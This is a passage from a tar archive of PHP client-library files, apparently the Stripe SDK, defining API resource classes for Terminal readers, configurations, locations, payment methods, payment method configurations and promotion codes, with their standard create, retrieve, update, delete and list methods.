<code>bbpos_wisepos_e</code>, <code>verifone_P400</code>, <code>simulated_wisepos_e</code>, or <code>mobile_phone_reader</code>. * @property null|string $ip_address The local IP address of the reader. * @property string $label Custom label given to the reader for easier identification. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string|\Stripe\Terminal\Location $location The location identifier of the reader. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $serial_number Serial number of the reader. * @property null|string $status The networking status of the reader. */ class Reader extends \Stripe\ApiResource { const OBJECT_NAME = 'terminal.reader'; use \Stripe\ApiOperations\Update; const DEVICE_TYPE_BBPOS_CHIPPER2X = 'bbpos_chipper2x'; const DEVICE_TYPE_BBPOS_WISEPAD3 = 'bbpos_wisepad3'; const DEVICE_TYPE_BBPOS_WISEPOS_E = 'bbpos_wisepos_e'; const DEVICE_TYPE_MOBILE_PHONE_READER = 'mobile_phone_reader'; const DEVICE_TYPE_SIMULATED_WISEPOS_E = 'simulated_wisepos_e'; const DEVICE_TYPE_STRIPE_M2 = 'stripe_m2'; const DEVICE_TYPE_STRIPE_S700 = 'stripe_s700'; const DEVICE_TYPE_VERIFONE_P400 = 'verifone_P400'; const STATUS_OFFLINE = 'offline'; const STATUS_ONLINE = 'online'; /** * Creates a new <code>Reader</code> object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Deletes a <code>Reader</code> object. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of <code>Reader</code> objects. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Terminal\Reader> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a <code>Reader</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates a <code>Reader</code> object by setting the values of the parameters * passed. Any parameters not provided will be left unchanged. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader the canceled reader */ public function cancelAction($params = null, $opts = null) { $url = $this->instanceUrl() . '/cancel_action'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader the processed reader */ public function processPaymentIntent($params = null, $opts = null) { $url = $this->instanceUrl() . '/process_payment_intent'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader the processed reader */ public function processSetupIntent($params = null, $opts = null) { $url = $this->instanceUrl() . '/process_setup_intent'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader the refunded reader */ public function refundPayment($params = null, $opts = null) { $url = $this->instanceUrl() . '/refund_payment'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader the seted reader */ public function setReaderDisplay($params = null, $opts = null) { $url = $this->instanceUrl() . '/set_reader_display'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } �����stripe-gateway/lib/Terminal/Configuration.php�������������������������������������������������������0000644�����������������00000010354�14720677707�0015376 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Terminal; /** * A Configurations object represents how features should be configured for terminal readers. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $bbpos_wisepos_e * @property null|bool $is_account_default Whether this Configuration is the default for your account * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string $name String indicating the name of the Configuration object, set by the user * @property null|\Stripe\StripeObject $offline * @property null|\Stripe\StripeObject $reboot_window * @property null|\Stripe\StripeObject $stripe_s700 * @property null|\Stripe\StripeObject $tipping * @property null|\Stripe\StripeObject $verifone_p400 */ class Configuration extends \Stripe\ApiResource { const OBJECT_NAME = 'terminal.configuration'; use \Stripe\ApiOperations\Update; /** * Creates a new <code>Configuration</code> object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Configuration the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Deletes a <code>Configuration</code> object. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Configuration the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of <code>Configuration</code> objects. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Terminal\Configuration> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a <code>Configuration</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Configuration */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates a new <code>Configuration</code> object. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Configuration the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Terminal/Location.php������������������������������������������������������������0000644�����������������00000010744�14720677707�0014342 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Terminal; /** * A Location represents a grouping of readers. * * Related guide: <a href="https://stripe.com/docs/terminal/fleet/locations">Fleet management</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property \Stripe\StripeObject $address * @property null|string $configuration_overrides The ID of a configuration that will be used to customize all readers in this location. * @property string $display_name The display name of the location. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. */ class Location extends \Stripe\ApiResource { const OBJECT_NAME = 'terminal.location'; use \Stripe\ApiOperations\Update; /** * Creates a new <code>Location</code> object. For further details, including which * address fields are required in each country, see the <a * href="/docs/terminal/fleet/locations">Manage locations</a> guide. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Location the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Deletes a <code>Location</code> object. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Location the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of <code>Location</code> objects. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Terminal\Location> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a <code>Location</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Location */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates a <code>Location</code> object by setting the values of the parameters * passed. Any parameters not provided will be left unchanged. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Location the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ����������������������������stripe-gateway/lib/StripeClientInterface.php��������������������������������������������������������0000644�����������������00000001131�14720677707�0015233 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Interface for a Stripe client. */ interface StripeClientInterface extends BaseStripeClientInterface { /** * Sends a request to Stripe's API. * * @param 'delete'|'get'|'post' $method the HTTP method * @param string $path the path of the request * @param array $params the parameters of the request * @param array|\Stripe\Util\RequestOptions $opts the special modifiers of the request * * @return \Stripe\StripeObject the object returned by Stripe's API */ public function request($method, $path, $params, $opts); } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/PaymentMethodConfiguration.php���������������������������������������������������0000644�����������������00000015744�14720677707�0016332 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * PaymentMethodConfigurations control which payment methods are displayed to your customers when you don't explicitly specify payment method types. You can have multiple configurations with different sets of payment methods for different scenarios. * * There are two types of PaymentMethodConfigurations. Which is used depends on the <a href="https://stripe.com/docs/connect/charges">charge type</a>: * * <strong>Direct</strong> configurations apply to payments created on your account, including Connect destination charges, Connect separate charges and transfers, and payments not involving Connect. * * <strong>Child</strong> configurations apply to payments created on your connected accounts using direct charges, and charges with the on_behalf_of parameter. * * Child configurations have a <code>parent</code> that sets default values and controls which settings connected accounts may override. You can specify a parent ID at payment time, and Stripe will automatically resolve the connected account’s associated child configuration. Parent configurations are <a href="https://dashboard.stripe.com/settings/payment_methods/connected_accounts">managed in the dashboard</a> and are not available in this API. * * Related guides: * - <a href="https://stripe.com/docs/connect/payment-method-configurations">Payment Method Configurations API</a> * - <a href="https://stripe.com/docs/payments/multiple-payment-method-configs">Multiple configurations on dynamic payment methods</a> * - <a href="https://stripe.com/docs/connect/multiple-payment-method-configurations">Multiple configurations for your Connect accounts</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $acss_debit * @property bool $active Whether the configuration can be used for new payments. * @property null|\Stripe\StripeObject $affirm * @property null|\Stripe\StripeObject $afterpay_clearpay * @property null|\Stripe\StripeObject $alipay * @property null|\Stripe\StripeObject $amazon_pay * @property null|\Stripe\StripeObject $apple_pay * @property null|string $application For child configs, the Connect application associated with the configuration. * @property null|\Stripe\StripeObject $au_becs_debit * @property null|\Stripe\StripeObject $bacs_debit * @property null|\Stripe\StripeObject $bancontact * @property null|\Stripe\StripeObject $blik * @property null|\Stripe\StripeObject $boleto * @property null|\Stripe\StripeObject $card * @property null|\Stripe\StripeObject $cartes_bancaires * @property null|\Stripe\StripeObject $cashapp * @property null|\Stripe\StripeObject $customer_balance * @property null|\Stripe\StripeObject $eps * @property null|\Stripe\StripeObject $fpx * @property null|\Stripe\StripeObject $giropay * @property null|\Stripe\StripeObject $google_pay * @property null|\Stripe\StripeObject $grabpay * @property null|\Stripe\StripeObject $ideal * @property bool $is_default The default configuration is used whenever a payment method configuration is not specified. * @property null|\Stripe\StripeObject $jcb * @property null|\Stripe\StripeObject $klarna * @property null|\Stripe\StripeObject $konbini * @property null|\Stripe\StripeObject $link * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $mobilepay * @property null|\Stripe\StripeObject $multibanco * @property string $name The configuration's name. * @property null|\Stripe\StripeObject $oxxo * @property null|\Stripe\StripeObject $p24 * @property null|string $parent For child configs, the configuration's parent configuration. * @property null|\Stripe\StripeObject $paynow * @property null|\Stripe\StripeObject $paypal * @property null|\Stripe\StripeObject $promptpay * @property null|\Stripe\StripeObject $revolut_pay * @property null|\Stripe\StripeObject $sepa_debit * @property null|\Stripe\StripeObject $sofort * @property null|\Stripe\StripeObject $swish * @property null|\Stripe\StripeObject $twint * @property null|\Stripe\StripeObject $us_bank_account * @property null|\Stripe\StripeObject $wechat_pay * @property null|\Stripe\StripeObject $zip */ class PaymentMethodConfiguration extends ApiResource { const OBJECT_NAME = 'payment_method_configuration'; use ApiOperations\Update; /** * Creates a payment method configuration. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodConfiguration the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * List payment method configurations. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PaymentMethodConfiguration> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieve payment method configuration. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodConfiguration */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Update payment method configuration. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodConfiguration the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ����������������������������stripe-gateway/lib/PromotionCode.php����������������������������������������������������������������0000644�����������������00000012300�14720677707�0013566 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A Promotion Code represents a customer-redeemable code for a <a href="https://stripe.com/docs/api#coupons">coupon</a>. It can be used to * create multiple codes for a single coupon. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property bool $active Whether the promotion code is currently active. A promotion code is only active if the coupon is also valid. * @property string $code The customer-facing code. Regardless of case, this code must be unique across all active promotion codes for each customer. * @property \Stripe\Coupon $coupon A coupon contains information about a percent-off or amount-off discount you might want to apply to a customer. Coupons may be applied to <a href="https://stripe.com/docs/api#subscriptions">subscriptions</a>, <a href="https://stripe.com/docs/api#invoices">invoices</a>, <a href="https://stripe.com/docs/api/checkout/sessions">checkout sessions</a>, <a href="https://stripe.com/docs/api#quotes">quotes</a>, and more. Coupons do not work with conventional one-off <a href="https://stripe.com/docs/api#create_charge">charges</a> or <a href="https://stripe.com/docs/api/payment_intents">payment intents</a>. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string|\Stripe\Customer $customer The customer that this promotion code can be used by. * @property null|int $expires_at Date at which the promotion code can no longer be redeemed. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|int $max_redemptions Maximum number of times this promotion code can be redeemed. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property \Stripe\StripeObject $restrictions * @property int $times_redeemed Number of times this promotion code has been used. */ class PromotionCode extends ApiResource { const OBJECT_NAME = 'promotion_code'; use ApiOperations\Update; /** * A promotion code points to a coupon. You can optionally restrict the code to a * specific customer, redemption limit, and expiration date. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PromotionCode the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of your promotion codes. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PromotionCode> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the promotion code with the given ID. In order to retrieve a promotion * code by the customer-facing <code>code</code> use <a * href="/docs/api/promotion_codes/list">list</a> with the desired * <code>code</code>. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PromotionCode */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified promotion code by setting the values of the parameters * passed. Most fields are, by design, not editable. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PromotionCode the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/PaymentMethod.php����������������������������������������������������������������0000644�����������������00000024147�14720677707�0013577 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * PaymentMethod objects represent your customer's payment instruments. * You can use them with <a href="https://stripe.com/docs/payments/payment-intents">PaymentIntents</a> to collect payments or save them to * Customer objects to store instrument details for future payments. * * Related guides: <a href="https://stripe.com/docs/payments/payment-methods">Payment Methods</a> and <a href="https://stripe.com/docs/payments/more-payment-scenarios">More Payment Scenarios</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $acss_debit * @property null|\Stripe\StripeObject $affirm * @property null|\Stripe\StripeObject $afterpay_clearpay * @property null|\Stripe\StripeObject $alipay * @property null|string $allow_redisplay This field indicates whether this payment method can be shown again to its customer in a checkout flow. Stripe products such as Checkout and Elements use this field to determine whether a payment method can be shown as a saved payment method in a checkout flow. The field defaults to “unspecified”. * @property null|\Stripe\StripeObject $amazon_pay * @property null|\Stripe\StripeObject $au_becs_debit * @property null|\Stripe\StripeObject $bacs_debit * @property null|\Stripe\StripeObject $bancontact * @property \Stripe\StripeObject $billing_details * @property null|\Stripe\StripeObject $blik * @property null|\Stripe\StripeObject $boleto * @property null|\Stripe\StripeObject $card * @property null|\Stripe\StripeObject $card_present * @property null|\Stripe\StripeObject $cashapp * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string|\Stripe\Customer $customer The ID of the Customer to which this PaymentMethod is saved. This will not be set when the PaymentMethod has not been saved to a Customer. * @property null|\Stripe\StripeObject $customer_balance * @property null|\Stripe\StripeObject $eps * @property null|\Stripe\StripeObject $fpx * @property null|\Stripe\StripeObject $giropay * @property null|\Stripe\StripeObject $grabpay * @property null|\Stripe\StripeObject $ideal * @property null|\Stripe\StripeObject $interac_present * @property null|\Stripe\StripeObject $klarna * @property null|\Stripe\StripeObject $konbini * @property null|\Stripe\StripeObject $link * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|\Stripe\StripeObject $mobilepay * @property null|\Stripe\StripeObject $multibanco * @property null|\Stripe\StripeObject $oxxo * @property null|\Stripe\StripeObject $p24 * @property null|\Stripe\StripeObject $paynow * @property null|\Stripe\StripeObject $paypal * @property null|\Stripe\StripeObject $pix * @property null|\Stripe\StripeObject $promptpay * @property null|\Stripe\StripeObject $radar_options Options to configure Radar. See <a href="https://stripe.com/docs/radar/radar-session">Radar Session</a> for more information. * @property null|\Stripe\StripeObject $revolut_pay * @property null|\Stripe\StripeObject $sepa_debit * @property null|\Stripe\StripeObject $sofort * @property null|\Stripe\StripeObject $swish * @property null|\Stripe\StripeObject $twint * @property string $type The type of the PaymentMethod. An additional hash is included on the PaymentMethod with a name matching this value. It contains additional information specific to the PaymentMethod type. * @property null|\Stripe\StripeObject $us_bank_account * @property null|\Stripe\StripeObject $wechat_pay * @property null|\Stripe\StripeObject $zip */ class PaymentMethod extends ApiResource { const OBJECT_NAME = 'payment_method'; use ApiOperations\Update; const ALLOW_REDISPLAY_ALWAYS = 'always'; const ALLOW_REDISPLAY_LIMITED = 'limited'; const ALLOW_REDISPLAY_UNSPECIFIED = 'unspecified'; const TYPE_ACSS_DEBIT = 'acss_debit'; const TYPE_AFFIRM = 'affirm'; const TYPE_AFTERPAY_CLEARPAY = 'afterpay_clearpay'; const TYPE_ALIPAY = 'alipay'; const TYPE_AMAZON_PAY = 'amazon_pay'; const TYPE_AU_BECS_DEBIT = 'au_becs_debit'; const TYPE_BACS_DEBIT = 'bacs_debit'; const TYPE_BANCONTACT = 'bancontact'; const TYPE_BLIK = 'blik'; const TYPE_BOLETO = 'boleto'; const TYPE_CARD = 'card'; const TYPE_CARD_PRESENT = 'card_present'; const TYPE_CASHAPP = 'cashapp'; const TYPE_CUSTOMER_BALANCE = 'customer_balance'; const TYPE_EPS = 'eps'; const TYPE_FPX = 'fpx'; const TYPE_GIROPAY = 'giropay'; const TYPE_GRABPAY = 'grabpay'; const TYPE_IDEAL = 'ideal'; const TYPE_INTERAC_PRESENT = 'interac_present'; const TYPE_KLARNA = 'klarna'; const TYPE_KONBINI = 'konbini'; const TYPE_LINK = 'link'; const TYPE_MOBILEPAY = 'mobilepay'; const TYPE_MULTIBANCO = 'multibanco'; const TYPE_OXXO = 'oxxo'; const TYPE_P24 = 'p24'; const TYPE_PAYNOW = 'paynow'; const TYPE_PAYPAL = 'paypal'; const TYPE_PIX = 'pix'; const TYPE_PROMPTPAY = 'promptpay'; const TYPE_REVOLUT_PAY = 'revolut_pay'; const TYPE_SEPA_DEBIT = 'sepa_debit'; const TYPE_SOFORT = 'sofort'; const TYPE_SWISH = 'swish'; const TYPE_TWINT = 'twint'; const TYPE_US_BANK_ACCOUNT = 'us_bank_account'; const TYPE_WECHAT_PAY = 'wechat_pay'; const TYPE_ZIP = 'zip'; /** * Creates a PaymentMethod object. Read the <a * href="/docs/stripe-js/reference#stripe-create-payment-method">Stripe.js * reference</a> to learn how to create PaymentMethods via Stripe.js. * * Instead of creating a PaymentMethod directly, we recommend using the <a * href="/docs/payments/accept-a-payment">PaymentIntents</a> API to accept a * payment immediately or the <a * href="/docs/payments/save-and-reuse">SetupIntent</a> API to collect payment * method details ahead of a future payment. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethod the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of PaymentMethods for Treasury flows. If you want to list the * PaymentMethods attached to a Customer for payments, you should use the <a * href="/docs/api/payment_methods/customer_list">List a Customer’s * PaymentMethods</a> API instead. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PaymentMethod> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a PaymentMethod object attached to the StripeAccount. To retrieve a * payment method attached to a Customer, you should use <a * href="/docs/api/payment_methods/customer">Retrieve a Customer’s * PaymentMethods</a>. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethod */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates a PaymentMethod object. A PaymentMethod must be attached a customer to * be updated. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethod the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethod the attached payment method */ public function attach($params = null, $opts = null) { $url = $this->instanceUrl() . '/attach'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethod the detached payment method */ public function detach($params = null, $opts = null) { $url = $this->instanceUrl() . '/detach'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/WebhookEndpoint.php��������������������������������������������������������������0000644�����������������00000013760�14720677707�0014117 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * You can configure <a href="https://docs.stripe.com/webhooks/">webhook endpoints</a> via the API to be * notified about events that happen in your Stripe account or connected * accounts. * * Most users configure webhooks from <a href="https://dashboard.stripe.com/webhooks">the dashboard</a>, which provides a user interface for registering and testing your webhook endpoints. * * Related guide: <a href="https://docs.stripe.com/webhooks/configure">Setting up webhooks</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string $api_version The API version events are rendered as for this webhook endpoint. * @property null|string $application The ID of the associated Connect application. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $description An optional description of what the webhook is used for. * @property string[] $enabled_events The list of 